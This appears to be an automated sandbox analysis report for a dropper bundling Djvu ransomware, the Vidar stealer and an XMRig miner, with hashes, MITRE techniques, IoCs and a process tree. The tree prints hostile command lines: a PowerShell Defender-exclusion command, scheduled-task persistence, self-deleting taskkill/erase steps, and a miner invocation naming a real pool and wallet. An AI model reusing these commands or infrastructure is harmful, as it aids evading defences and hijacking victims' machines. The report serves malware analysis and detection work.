djvu | baa381f572d293636b6e48cacd2cd6a6f4f9e5f71c583873260f6ac01f0f5e15

Target

setup_x86_x64_install.exe
Size

2.2MB
MD5

e3b3a95ef03de0de77cca7a54ea22c94
SHA1

d318d234f8f27f25de660d9881113df9d11c24ff
SHA256

baa381f572d293636b6e48cacd2cd6a6f4f9e5f71c583873260f6ac01f0f5e15
SHA512

3c1c6254f14491bc2cb096d8b46d0d65e096dac331bab2df9c5b173271eef1b9a9deb831f212a0117fab16665277208d0c1b5183ea600cc2bbe6f9049c57ad0d

Score

10^/10

djvu vidar xmrig 706 aspackv2 discovery miner persistence ransomware spyware stealer

Malware Config

Extracted

Family

vidar

Version

40.4

Botnet

706

https://romkaxarit.tumblr.com/

Attributes

profile_id
706

Signatures

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2920	1156	rundll32.exe	56
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3828	1156	rundll32.exe	56

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral4/memory/788-263-0x0000000000400000-0x00000000021BE000-memory.dmp	family_vidar

XMRig Miner Payload 1 IoCs

miner

resource	yara_rule
behavioral4/memory/2992-322-0x00000001402F327C-mapping.dmp	xmrig

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x0001000000012f02-69.dat	aspack_v212_v242
behavioral4/files/0x0001000000012f01-72.dat	aspack_v212_v242
behavioral4/files/0x0001000000012f01-71.dat	aspack_v212_v242
behavioral4/files/0x0001000000012f02-70.dat	aspack_v212_v242
behavioral4/files/0x0001000000012f04-76.dat	aspack_v212_v242
behavioral4/files/0x0001000000012f04-75.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 17 IoCs

pid	Process
1972	setup_installer.exe
2016	setup_install.exe
788	Fri1544861ac3fe6a.exe
736	Fri157e25afd971.exe
1388	Fri156ec98815f89c.exe
1732	Fri155442fc38b.exe
1532	Fri1553f0ee90.exe
2012	Fri15af75ee9b.exe
1480	Fri157e25afd971.tmp
612	LzmwAqmV.exe
1588	2156132.exe
1276	Chrome 5.exe
888	3384852.exe
1968	PublicDwlBrowser1100.exe
1456	2.exe
1260	4817197.exe
884	setup.exe

Loads dropped DLL 39 IoCs

pid	Process
1080	setup_x86_x64_install.exe
1972	setup_installer.exe
1972	setup_installer.exe
1972	setup_installer.exe
1972	setup_installer.exe
1972	setup_installer.exe
1972	setup_installer.exe
2016	setup_install.exe
2016	setup_install.exe
2016	setup_install.exe
2016	setup_install.exe
2016	setup_install.exe
2016	setup_install.exe
2016	setup_install.exe
2016	setup_install.exe
1060	cmd.exe
1060	cmd.exe
1052	cmd.exe
788	Fri1544861ac3fe6a.exe
788	Fri1544861ac3fe6a.exe
796	cmd.exe
736	Fri157e25afd971.exe
736	Fri157e25afd971.exe
1212	cmd.exe
2032	cmd.exe
1808	cmd.exe
1808	cmd.exe
2012	Fri15af75ee9b.exe
2012	Fri15af75ee9b.exe
736	Fri157e25afd971.exe
612	LzmwAqmV.exe
612	LzmwAqmV.exe
612	LzmwAqmV.exe
888	3384852.exe
888	3384852.exe
612	LzmwAqmV.exe
612	LzmwAqmV.exe
612	LzmwAqmV.exe
884	setup.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6520	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	3384852.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
45	ip-api.com
623	api.2ip.ua
624	api.2ip.ua
646	api.2ip.ua

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
1672	1456	WerFault.exe	53
1756	1588	WerFault.exe	49
2600	788	WerFault.exe	43
912	2868	WerFault.exe	84
1112	2232	WerFault.exe	91
3520	4492	WerFault.exe	188
6880	7132	WerFault.exe	217

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2564	schtasks.exe
2320	schtasks.exe
4528	schtasks.exe
8740	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
8484	timeout.exe
4580	timeout.exe

Kills process with taskkill 5 IoCs

evasion

pid	Process
2272	taskkill.exe
4092	taskkill.exe
2708	taskkill.exe
3372	taskkill.exe
432	taskkill.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1532	Fri1553f0ee90.exe
Token: SeDebugPrivilege	1732	Fri155442fc38b.exe
Token: SeDebugPrivilege	1588	2156132.exe
Token: SeDebugPrivilege	1968	PublicDwlBrowser1100.exe
Token: SeDebugPrivilege	1456	2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1080 wrote to memory of 1972	1080	setup_x86_x64_install.exe	26
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 1972 wrote to memory of 2016	1972	setup_installer.exe	27
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 560	2016	setup_install.exe	33
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 1060	2016	setup_install.exe	34
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 796	2016	setup_install.exe	35
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1052	2016	setup_install.exe	36
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 2016 wrote to memory of 1212	2016	setup_install.exe	37
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 1060 wrote to memory of 788	1060	cmd.exe	43
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 2016 wrote to memory of 1808	2016	setup_install.exe	38
PID 1052 wrote to memory of 736	1052	cmd.exe	42

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri1544861ac3fe6a.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1060
    - - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri1544861ac3fe6a.exe
        
        Fri1544861ac3fe6a.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:788
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 788 -s 952
        6⤵
        Program crash
        
        PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri156ec98815f89c.exe
      4⤵
      Loads dropped DLL
      PID:796
    - - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri156ec98815f89c.exe
        
        Fri156ec98815f89c.exe
        5⤵
        Executes dropped EXE
        
        PID:1388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri157e25afd971.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1052
    - - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri157e25afd971.exe
        
        Fri157e25afd971.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:736
      - C:\Users\Admin\AppData\Local\Temp\is-L5052.tmp\Fri157e25afd971.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L5052.tmp\Fri157e25afd971.tmp" /SL5="$40136,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri157e25afd971.exe"
        6⤵
        Executes dropped EXE
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\is-7RSET.tmp\zab2our.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-7RSET.tmp\zab2our.exe" /S /UID=burnerch2
        7⤵
        
        PID:2824
        
        C:\Program Files\Internet Explorer\ZJTJXVXRVL\ultramediaburner.exe
        
        "C:\Program Files\Internet Explorer\ZJTJXVXRVL\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:2408
        
        C:\Users\Admin\AppData\Local\Temp\is-LOMOC.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-LOMOC.tmp\ultramediaburner.tmp" /SL5="$2021E,281924,62464,C:\Program Files\Internet Explorer\ZJTJXVXRVL\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:2316
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:1344
        
        C:\Users\Admin\AppData\Local\Temp\78-8491d-fa4-772a0-cb6bbcea717bd\Lugedatufae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\78-8491d-fa4-772a0-cb6bbcea717bd\Lugedatufae.exe"
        8⤵
        
        PID:1692
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:2748
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2748 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:1752
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2748 CREDAT:1848345 /prefetch:2
        10⤵
        
        PID:3268
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2748 CREDAT:3093523 /prefetch:2
        10⤵
        
        PID:6480
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2748 CREDAT:1782843 /prefetch:2
        10⤵
        
        PID:9144
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2748 CREDAT:1127464 /prefetch:2
        10⤵
        
        PID:8476
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:3896
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
        9⤵
        
        PID:6452
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:6452 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:6624
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
        9⤵
        
        PID:3172
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
        9⤵
        
        PID:9120
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.directdexchange.com/jump/next.php?r=4263119
        9⤵
        
        PID:8304
        
        C:\Users\Admin\AppData\Local\Temp\c7-45de2-496-75392-fe170a30ded22\Xobeterusa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c7-45de2-496-75392-fe170a30ded22\Xobeterusa.exe"
        8⤵
        
        PID:1096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jztiqxk2.oio\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:3304
        
        C:\Users\Admin\AppData\Local\Temp\jztiqxk2.oio\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\jztiqxk2.oio\GcleanerEU.exe /eufive
        10⤵
        
        PID:3336
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\jztiqxk2.oio\GcleanerEU.exe" & exit
        11⤵
        
        PID:4004
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:2708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1tjmilhi.2fb\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:3364
        
        C:\Users\Admin\AppData\Local\Temp\1tjmilhi.2fb\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\1tjmilhi.2fb\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:3412
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\1tjmilhi.2fb\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\1tjmilhi.2fb\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630643773 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ehqmk4nl.bq2\anyname.exe & exit
        9⤵
        
        PID:3420
        
        C:\Users\Admin\AppData\Local\Temp\ehqmk4nl.bq2\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\ehqmk4nl.bq2\anyname.exe
        10⤵
        
        PID:3476
        
        C:\Users\Admin\AppData\Local\Temp\ehqmk4nl.bq2\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ehqmk4nl.bq2\anyname.exe" -u
        11⤵
        
        PID:3536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kw0ar2nh.lwl\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:3552
        
        C:\Users\Admin\AppData\Local\Temp\kw0ar2nh.lwl\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\kw0ar2nh.lwl\gcleaner.exe /mixfive
        10⤵
        
        PID:3608
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\kw0ar2nh.lwl\gcleaner.exe" & exit
        11⤵
        
        PID:4040
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:4092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4atgmnv4.sbp\autosubplayer.exe /S & exit
        9⤵
        
        PID:3680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri155442fc38b.exe
      4⤵
      Loads dropped DLL
      PID:1212
    - - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri155442fc38b.exe
        
        Fri155442fc38b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1732
      - C:\Users\Admin\AppData\Roaming\2156132.exe
        
        "C:\Users\Admin\AppData\Roaming\2156132.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1588
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1588 -s 1660
        7⤵
        Program crash
        
        PID:1756
      - C:\Users\Admin\AppData\Roaming\3384852.exe
        
        "C:\Users\Admin\AppData\Roaming\3384852.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:888
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        
        PID:340
      - C:\Users\Admin\AppData\Roaming\4817197.exe
        
        "C:\Users\Admin\AppData\Roaming\4817197.exe"
        6⤵
        Executes dropped EXE
        
        PID:1260
      - C:\Users\Admin\AppData\Roaming\1742135.exe
        
        "C:\Users\Admin\AppData\Roaming\1742135.exe"
        6⤵
        
        PID:2116
      - C:\Users\Admin\AppData\Roaming\7915504.exe
        
        "C:\Users\Admin\AppData\Roaming\7915504.exe"
        6⤵
        
        PID:2616
      - C:\Users\Admin\AppData\Roaming\7515325.exe
        
        "C:\Users\Admin\AppData\Roaming\7515325.exe"
        6⤵
        
        PID:2868
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 1768
        7⤵
        Program crash
        
        PID:912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri15af75ee9b.exe
      4⤵
      Loads dropped DLL
      PID:1808
    - - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri15af75ee9b.exe
        
        Fri15af75ee9b.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c APPNAME7.exe
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri1553f0ee90.exe
      4⤵
      Loads dropped DLL
      PID:2032
    - - C:\Users\Admin\AppData\Local\Temp\7zS4B70AC04\Fri1553f0ee90.exe
        
        Fri1553f0ee90.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1532
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:612
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        
        PID:1276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:2136
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2564
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:2448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2768
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:2320
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:2896
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1968
        
        C:\Users\Admin\AppData\Roaming\6920584.exe
        
        "C:\Users\Admin\AppData\Roaming\6920584.exe"
        8⤵
        
        PID:2248
        
        C:\Users\Admin\AppData\Roaming\4788790.exe
        
        "C:\Users\Admin\AppData\Roaming\4788790.exe"
        8⤵
        
        PID:2480
        
        C:\Users\Admin\AppData\Roaming\7847088.exe
        
        "C:\Users\Admin\AppData\Roaming\7847088.exe"
        8⤵
        
        PID:2792
        
        C:\Users\Admin\AppData\Roaming\8341103.exe
        
        "C:\Users\Admin\AppData\Roaming\8341103.exe"
        8⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Roaming\2603980.exe
        
        "C:\Users\Admin\AppData\Roaming\2603980.exe"
        8⤵
        
        PID:2440
        
        C:\Users\Admin\AppData\Roaming\8073003.exe
        
        "C:\Users\Admin\AppData\Roaming\8073003.exe"
        8⤵
        
        PID:2232
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2232 -s 1856
        9⤵
        Program crash
        
        PID:1112
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1456
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1456 -s 1488
        8⤵
        Program crash
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:884
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2632
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:2272
        
        C:\Users\Admin\AppData\Local\Temp\Pubdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Pubdate.exe"
        7⤵
        
        PID:2152
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        
        PID:2272
        
        C:\Users\Admin\AppData\Local\Temp\is-L1USH.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L1USH.tmp\setup_2.tmp" /SL5="$20178,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\is-CG3EG.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CG3EG.tmp\setup_2.tmp" /SL5="$301C4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        
        PID:2780
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:2424
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        
        PID:2884
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        
        PID:2752
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        
        PID:2912

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:660

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2920

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3828
- C:\Windows\SysWOW64\rundll32.exe
